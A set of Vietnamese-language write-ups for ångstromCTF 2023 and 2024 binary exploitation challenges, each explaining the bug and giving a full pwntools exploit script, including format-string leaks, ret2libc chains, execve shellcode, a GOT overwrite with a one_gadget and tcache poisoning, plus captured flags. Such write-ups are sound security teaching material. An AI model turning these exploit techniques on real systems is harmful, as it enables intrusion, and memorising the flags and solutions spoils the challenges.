Try   HackMD

(writeup) ångstromCTF 2023

queue

  • check file + checksec

  • check ida

  • bài này là fmtstr đơn giản thôi
  • script:
#!/usr/bin/python3

from pwn import *
from base64 import *
from binascii import *

context.binary = exe = ELF('./queue',checksec=False)

flag = b''
for i in range(14,18):
	#p = process(exe.path)
	p = remote('challs.actf.co',31322)

	p.sendlineafter(b'today?',f'%{i}$p')

	p.recvuntil(b'nice, ')

	output = p64(int(p.recvline()[:-1],16))
	flag += output
	print(flag)

p.interactive()

actf{st4ck_it_queue_it_a619ad974c864b22}


gaga

  • trong 3 cái nc thì cái nc cuối đc cho biết là sẽ cho ta toàn bộ flag, còn 2 cái đầu thì ra phân nữa
  • check file + checksec

  • check ida

  • main chỉ vỏn vẹn nhiêu đây nên hướng đi là ret2libc
  • sau khi leak libc cơ bản thì thấy local và server hoàn toàn khác nhau
payload = b'A'*8*9
payload += p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload	+= p64(exe.sym['main'])

p.sendlineafter(b'input: ', payload)

libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['puts']
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
  • ta có thể lấy libc trong Dockerfile hoặc trên libc.blukat.me đều đc
  • trong Docker là libc-2.31.so , ở bluekat là libc6_2.31-0ubuntu9.9_amd64.so
  • ta pwninit luôn
  • và phần còn lại là '/bin/sh' với system thôi, ret để stack né xmm0

  • remote lụm flag

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./gaga2_patched',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)

#p = process(exe.path)
p = remote('challs.actf.co',31302)

# gdb.attach(p,gdbscript='''
# 	b*main+104
# 	b*main+109
# 	b*main+114
# 	b*main+116
# 	c
# 	''')
# input()

pop_rdi = 0x00000000004012b3
ret = 0x000000000040101a

payload = b'A'*8*9
payload += p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload	+= p64(exe.sym['main'])

p.sendlineafter(b'input: ', payload)

libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['puts']
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))

payload = b'A'*8*9
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(ret)
payload += p64(libc.sym['system'])

p.sendlineafter(b'input:', payload)

p.interactive()
#actf{b4by's_

actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}


widget

  • check file + checksec

  • check ida

  • ở hàm main có set biến called, khiến cho mình thực thi lại hàm main không được (ban đầu tính tạo shell)

  • khả năng là ret2win, nhưng khổ là ROPgadget k tồn tại 2 thanh ghi $rdi và $rsi
  • ta sẽ chơi dơ nhảy vào win() bỏ qua 2 thằng if
  • vì ta skip khá nhiều nên khi đọc flag từ file, sẽ k tồn tại nơi có thể ghi vào
  • hint: thanh $rbp trỏ ở vùng địa chỉ được phép ghi
  • vậy việc của ta là jump tới win hoi
  • ta sẽ nhảy ở <win+117> tức là sau 2 thằng kiểm tra if

  • ở lần nhập đầu là Ammount, sẽ thiết lập lượng byte cho phép ở lần nhập thứ 2, ta sẽ chọn 64 byte
  • ở lần nhập thứ 2 Content, ta sẽ ow save_rbp, pop_rbp, win
  • với pop_rbp là 0x00000000404a00 ( tăng thêm 0xa00 cho dư dả)

  • ayo

  • remote

  • thấy hiện tượng lạ ở đây =)))
  • theo như nghe hướng dẫn đây là lệnh chống bruitforce
  • việc ta cần làm làm copy cái curl -sSfL https:/... qua terminal khác để run
  • mỗi lần kết nối tới server sẽ có 1 cái "proof of work" (chứng minh cái work mình k có bruteforce)
  • nên ta thêm 1 số tham số
p.recvuntil(b"solution: ")
key = input()
p.sendline(key)

  • script:
#!/usr/bin/python3

from pwn import * 

context.binary = exe = ELF('./widget',checksec=False)

#p = process(exe.path)
p = remote('challs.actf.co',31320)

# gdb.attach(p, gdbscript='''
# 	b*main+162
# 	b*main+227
# 	b*main+334
# 	c
# 	''')
# input()

p.recvuntil(b"solution: ")
key = input()
p.sendline(key)

pop_rbp = 0x000000000040127d

payload = b'64'

p.sendlineafter(b'Amount: ',payload)

payload = b'A'*40
payload += p64(pop_rbp) + p64(0x00000000404a00)
payload += p64(exe.sym['win']+117)

p.sendafter(b'Contents: ',payload)

p.interactive()

actf{y0u_f0und_a_usefu1_widg3t!_30db5c45a07ac981}


leek

  • check file + checksec

  • check ida
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int i; // [rsp+0h] [rbp-50h]
  int j; // [rsp+4h] [rbp-4Ch]
  __gid_t rgid; // [rsp+8h] [rbp-48h]
  char *v9; // [rsp+10h] [rbp-40h]
  void *s; // [rsp+18h] [rbp-38h]
  char s2[40]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v12; // [rsp+48h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  v3 = time(0LL);
  srand(v3);
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  puts("I dare you to leek my secret.");
  for ( i = 0; i < N; ++i )
  {
    v9 = (char *)malloc(0x10uLL);
    s = malloc(0x20uLL);
    memset(s, 0, 0x20uLL);
    getrandom(s, 32LL, 0LL);
    for ( j = 0; j <= 31; ++j )
    {
      if ( !*((_BYTE *)s + j) || *((_BYTE *)s + j) == '\n' )
        *((_BYTE *)s + j) = 1;
    }
    printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");
    input(v9);
    printf(":skull::skull::skull: bro really said: ");
    puts(v9);
    printf("So? What's my secret? ");
    fgets(s2, 33, stdin);
    if ( strncmp((const char *)s, s2, 0x20uLL) )
    {
      puts("Wrong!");
      exit(-1);
    }
    puts("Okay, I'll give you a reward for guessing it.");
    printf("Say what you want: ");
    gets(v9);
    puts("Hmm... I changed my mind.");
    free(s);
    free(v9);
    puts("Next round!");
  }
  puts("Looks like you made it through.");
  win();
  return v12 - __readfsqword(0x28u);
}
  • hàm input()

  • mục tiêu là hàm win()

  • ở đây ta thấy 1 vòng lặp cấp phát bộ nhớ liên tục

với số lần lặp là từ 0 đến bé hơn 0x64=100 tổng là 100 lần

  • hàm if() ở đây ta cần phải thoả mãn

so sánh s và s2 trong 32 byte

  • s2 được nhập từ fgets() ở trên
  • và s dc lấy từ hàm input(v9)

với v9 dc nhập vào từ đầu

fgets(s,1280,stdin)
  • biến v9 còn dược lấy làm cho hàm malloc
  • đoán nhẹ đây là kỹ thuật Heap Overflow
  • ta debug thử, so sánh 32 byte thì ở input(v9) và fgets(s2) ta đều nhập 32
  • break tại hàm strncmp so sánh s và s2

  • địa chỉ của s và s2

  • lúc này ta thấy 2 đối số hoàn toàn khác nhau, có thể malloc chưa đủ
  • debug lần 2, ta sẽ cho s 50 byte, s2 vẫn 32 byte

  • lúc này có vẻ đúng, nhưng đã đủ 32 byte so sánh giống nhau chưa thì chưa rõ

  • có lẽ chưa =)))))

32 là full cái heap 0x4052a0
40 là full dòng đầu 0x4052c0 (8)
48 là full dòng 2 của 0x4052c8 (16)
50 là liếm thêm 2 byte của địa chỉ tiếp theo
mục tiêu là ghi full 0x4052d0 (24) đến full 0x4052d8 (32)
tổng cần ghi: 64 byte

  • coi như ta đã pass dc hàm if(strncmp) đó đi
  • tiếp theo đến gets(v9)

  • đọc v9 xong r free(s) rồi free(v9)
  • lúc này lần nhập là bên trong heap

  • sau lần nhập đó là free() 2 lần với 2 biến sv9
  • vậy thì ta cho payload vừa đủ:
offset giữa 2 heap 0x4052a0 và 0x4052c0 = 24 byte

tổng byte malloc tạo ra là 0x10 + 0x20 = 0x30
kèm theo đó là  0x1 của bits in use

payload = b'A'*24 + p64(0x31)

  • vì sendafter hay sendlineafter lâu lắc nên bỏ after luôn cho nó lẹ

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./leek',checksec=False)

#p = process(exe.path)
p = remote("challs.actf.co",31310)

# gdb.attach(p, gdbscript='''
#         b*main+431
#         c
#         ''')
# input()

for i in range(0,100):
        log.info("round: " + str(i))
        payload = b'A'*64
        #p.sendlineafter(b'OVERFLOWS!!): ', payload)
        p.sendline(payload)
        payload = b'A'*32
        #p.sendafter(b'secret? ',payload)
        p.send(payload)
        payload = b'A'*24 + p64(0x31)
        #p.sendlineafter(b'want: ',payload)
        p.sendline(payload)

p.interactive()

actf{very_133k_of_y0u_777522a2c32b7dd6}


(writeup) ångstromCTF 2024

Presidential

  • source:
#!/usr/local/bin/python

import ctypes
import mmap
import sys

flag = "redacted"

print("White House declared Python to be memory safe :tm:")

buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
ftype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fpointer = ctypes.c_void_p.from_buffer(buf)
f = ftype(ctypes.addressof(fpointer))

u_can_do_it = bytes.fromhex(input("So enter whatever you want 👍 (in hex): "))

buf.write(u_can_do_it)

f()

del fpointer
buf.close()

print("byebye")
  • viết bằng python nhưng phương thức hoạt động là C
  • đọc source cũng có thể hiểu: nhập vào u_can_do_it rồi gán vào buf, sau đó gọi hàm f()

nói nôm na là thực thi ấy

  • solution: chèn shellcode dưới dạng byte

48BB2F62696E2F736800534889E74831F64831D248C7C03B0000000F05

image

actf{python_is_memory_safe_4a105261}

Exam

  • basic file check

image

  • check ida

image
image

main()

  • dễ dàng thấy đc mục tiêu ta là trust_level > threshold
  • input ta là "%d" (4 byte), không được nhập âm
  • setup trust_level bằng 0 trừ đi input

image

  • trust_level sẽ -1 mỗi lần mình input chuỗi "I'm comfirm this exam.\n"
  • value của threshold:

image

  • thế ta sẽ nhập detrust0x7fffffff (dương cực đại) rồi trừ để ra trust_level0x80000001
  • để lớn hơn threshold :0x7ffffffe, ta cần trust_level = 0x7fffffff bằng cách giảm đi 2 lần

0x80000001 -> 0x80000000 -> 0x7fffffff

  • get flag:

image

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./exam', checksec=False)

context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        b*main+179

        c
        ''')
        input()


if args.REMOTE:
    p = remote('challs.actf.co',31322)
else:
    p = process(exe.path)
GDB()

sla(b': ',str(0x7fffffff))
payload = b'I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.'

sla(b': ',payload)
sla(b': ',payload)

p.interactive()
#actf{manifesting_those_fives}

actf{manifesting_those_fives}

Bap Bap Bap

  • basic file check

image

  • check ida

image

  • dễ thấy được đây là lỗi BOF lẫn FMTSTR
  • ta chỉ việc vừa leak vừa return lại main (PIE tắt)
  • rồi ret2libc

image

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./bap_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        b*main+81
        c
        ''')
        input()


if args.REMOTE:
    p = remote('challs.actf.co',31323)
else:
    p = process(exe.path)
GDB()

payload = b'%29$p|%13$p'
payload = payload.ljust(0x18,b'\0')
payload += p64(exe.sym.main+5)

sla(b': ',payload)

libc_leak = int(p.recvuntil(b'|',drop=True),16)
libc.address = libc_leak - 0x29e40
stack_leak = int(p.recv(14),16)
info("Libc leak: " + hex(libc_leak))
info("Stack leak: " + hex(stack_leak))
info("Libc base: " + hex(libc.address))

binsh = next(libc.search(b'/bin/sh\0'))
system = libc.sym.system
pop_rdi = 0x000000000002a3e5 + libc.address

payload = b'a'*0x18
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rdi+1)
payload += p64(system)

sla(b': ',payload)

p.interactive()
#actf{baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap____}

actf{baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap____}

og

  • basic file check

image

  • check ida

image

go()

  • thấy được BOF lẫn FMTSTR, có PIE tắt nhưng ở đây có canary và chương trình chỉ nhập 1 lần rồi kết thúc
  • tận dụng khả năng check canary từ __stack_chk_fail để ghi đè lại main()
  • sau đó dùng fmtstr để ow one_gadget

image

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./og_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        b*go+126
        b*go+163
        c
        ''')
        input()


if args.REMOTE:
    p = remote('challs.actf.co',31312)
else:
    p = process(exe.path)
GDB()

main = exe.sym.main
diff = 0x1255

payload = b'%12$p||%15$p'
payload += f'%{diff-0x31+0x13}c%10$hn'.encode()
payload = payload.ljust(0x20,b'a')
payload += p64(exe.got.__stack_chk_fail)

sla(b'name: ',payload)

p.recvuntil(b'around, ')

stack_leak = int(p.recvuntil(b'||',drop=True),16) - 0x48
libc_leak = int(p.recv(14),16)
libc.address = libc_leak - 0x29d90
info("stack leak: " + hex(stack_leak))
info("Libc leak: " + hex(libc_leak))
info("Libc base: " + hex(libc.address))

og = [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
one_gadget = libc.address + og[1]

ow = exe.got.setbuf
info("One gadget: " + hex(one_gadget))

package = {
        one_gadget & 0xffff: ow,
        one_gadget >> 16 & 0xffff: ow+2,
        one_gadget >> 32 & 0xffff: ow+4,
}
order = sorted(package)

payload = f'%{order[0]}c%11$hn'.encode()
payload += f'%{order[1] - order[0]}c%12$hn'.encode()
payload += f'%{order[2] - order[1]}c%13$hn'.encode()
payload = payload.ljust(0x28,b'a')
payload += flat(
    package[order[0]],
    package[order[1]],
    package[order[2]],
)

sla(b'name: ',payload)

p.interactive()
#actf{you_really_thought_you_could_overwrite_printf_with_system_huh}

actf{you_really_thought_you_could_overwrite_printf_with_system_huh}

heapify

  • basic file check

image

  • source:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define N 32

int idx = 0;
char *chunks[N];

int readint() {
	char buf[0x10];
	read(0, buf, 0x10);
	return atoi(buf);
}

void alloc() {
	if(idx >= N) {
		puts("you've allocated too many chunks");
		return;
	}
	printf("chunk size: ");
	int size = readint();
	char *chunk = malloc(size);
	printf("chunk data: ");

	// ----------
	// VULN BELOW !!!!!!
	// ----------
	gets(chunk);
	// ----------
	// VULN ABOVE !!!!!!
	// ----------
	
	printf("chunk allocated at index: %d\n", idx);
	chunks[idx++] = chunk;
}

void delete() {
	printf("chunk index: ");
	int i = readint();
	if(i >= N || i < 0 || !chunks[i]) {
		puts("bad index");
		return;
	}
	free(chunks[i]);
	chunks[i] = 0;
}

void view() {
	printf("chunk index: ");
	int i = readint();
	if(i >= N || i < 0 || !chunks[i]) {
		puts("bad index");
		return;
	}
	puts(chunks[i]);
}

int menu() {
	puts("--- welcome 2 heap ---");
	puts("1) allocate");
	puts("2) delete");
	puts("3) view");
}

int main() {
	setbuf(stdout, 0);
	menu();
	for(;;) {
		printf("your choice: ");
		switch(readint()) { 
		case 1:
			alloc();
			break;
		case 2:
			delete();
			break;
		case 3:
			view();
			break;
		default:
			puts("exiting");
			return 0;
		}
	}
}
  • thấy luôn BUG từ gets() nhưng lạ một cái khi malloc() cái đầu, chương trình tự malloc() thêm 1 chunk để copy payload dù trong source lẫn ida không có chức năng ấy

image

tạo chunk 0x30 nhưng lòi thêm chunk bên dưới

  • có set NULL sau khi free() dù cho malloc() size thoải mái
  • gets() ta có thể ctrl được top_chunk
  • nhưng libc đi kèm là 2.35 -> k có hook lẫn House of Orange
  • nhưng lại có House of Tangerine (giống Orange) exploit được

leak libc

  • đầu tiên ta sẽ tạo fake chunk
add(0x25, b'a'*0x10) #idx0
add(0x30, b'A') #idx1
add(0x20, b'B') #idx2
add(0x60, b'C') #idx3
add(0x1000, p64(0x101)*0x100) #idx4

delete(2)

payload = b'B'*0x20
payload += p64(0) + p64(0x611)[:-1] #prev_size #size_idx3

add(0x20, payload) #idx5 #reused chunk idx_2

delete(3) #ubin

add(0x60, b'D') #idx6

show(4)

libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x21ace0
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))
  • ta sẽ bỏ qua chunk đầu (vì dưới cái chunk tự malloc() từ đề, khó khai thác)
  • sau đó ta sẽ xoá 1 chunk rồi malloc() lại cùng size để reused chunk rồi ow next_chunk có size sẽ vào ubin nếu free()
  • khi đã có ubin, đồng nghĩa với next_chunk của ubin sẽ chứa main_area dù mình chưa free (do sự gộp chunk)
  • rồi ta malloc() lại size bất kì rồi show next_chunk của ubin

leak heap

  • để leak heap, ta cứ việc tạo chunk mới rồi free() sẽ chứa fw_pointer
add(0x60, b'E') #idx7

delete(7)   

show(4)

leak = u64(p.recvuntil(b'\n', drop=True).ljust(8,b'\0'))
heap_leak = leak << 12
info('heap leak: ' + hex(heap_leak))

lưu ý libc 2.35 là có cơ chế xor bảo vệ tcache

ow got

  • ta sẽ tcache poisoning bằng cách tạo 3 tcache rồi sửa fw_pointer
  • về ow GOT thằng nào thì mình sẽ debug sâu khi puts ra khi show nha

image

call tới hàm *ABS*+0xa86a0@plt hơi lạ

image

rồi jmp tới $rip+0x1f1bfd

image

vậy offset mình là 0x21a098
cộng 8 do nó return địa chỉ tiếp theo

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./heapify', checksec=False)
libc = ELF("./libc.so.6",checksec=False)

context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        b*alloc+84
        b*alloc+125
        b*alloc+198
        b*delete+130
        b*view+130
        c
        ''')
        input()


if args.REMOTE:
    p = remote('challs.actf.co',31501)
else:
    p = process(exe.path)

def add(size, data):
    sla(b"choice:", b"1")
    sla("size: ", str(size))
    sla("data: ", data)

def delete(idx):
    sla(b"choice:", b"2")
    sla("index: ", str(idx))
    
def show(idx):
    sla(b"choice:", b"3")
    sla("index: ", str(idx))
    
add(0x25, b'a'*0x10) #idx0
add(0x30, b'A') #idx1
add(0x20, b'B') #idx2
add(0x60, b'C') #idx3
add(0x1000, p64(0x101)*0x100) #idx4

delete(2)

payload = b'B'*0x20
payload += p64(0) + p64(0x611)[:-1] #prev_size #size_idx3

add(0x20, payload) #idx5 #reused chunk idx_2

delete(3) #ubin

add(0x60, b'D') #idx6

show(4)

libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x21ace0
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))

add(0x60, b'E') #idx7

delete(7)   

show(4)

leak = u64(p.recvuntil(b'\n', drop=True).ljust(8,b'\0'))
heap_leak = leak << 12
info('heap leak: ' + hex(heap_leak))

#setup tcache
add(0x20, b'F') #idx8
add(0x20, b'G') #idx9 
add(0x20, b'H') #idx10    

delete(10) #10
delete(9) #9->10
delete(8) #8->9->10

GDB()    

add(0x100, b'/bin/sh\0') #idx11

payload = b'I'*0x20
payload += p64(0) + p64(0x31) #prev_size_idx_9 #size_idx9
payload += p64((heap_leak >> 12)^(libc.address+0x21a098-8))[:-1] #9->victim
add(0x20, payload) #idx12
#bin: 9->victim
info("victim: " + hex(libc.address+0x21a098))
add(0x20, b'J') #idx13 #junk_idx_9

add(0x20, b'K'*8 + p64(libc.sym.system)[:-1]) #idx14 #victim

show(11)

p.interactive()
#actf{wh3re_did_my_pr3c1ous_fr33_hook_go??}

actf{wh3re_did_my_pr3c1ous_fr33_hook_go??}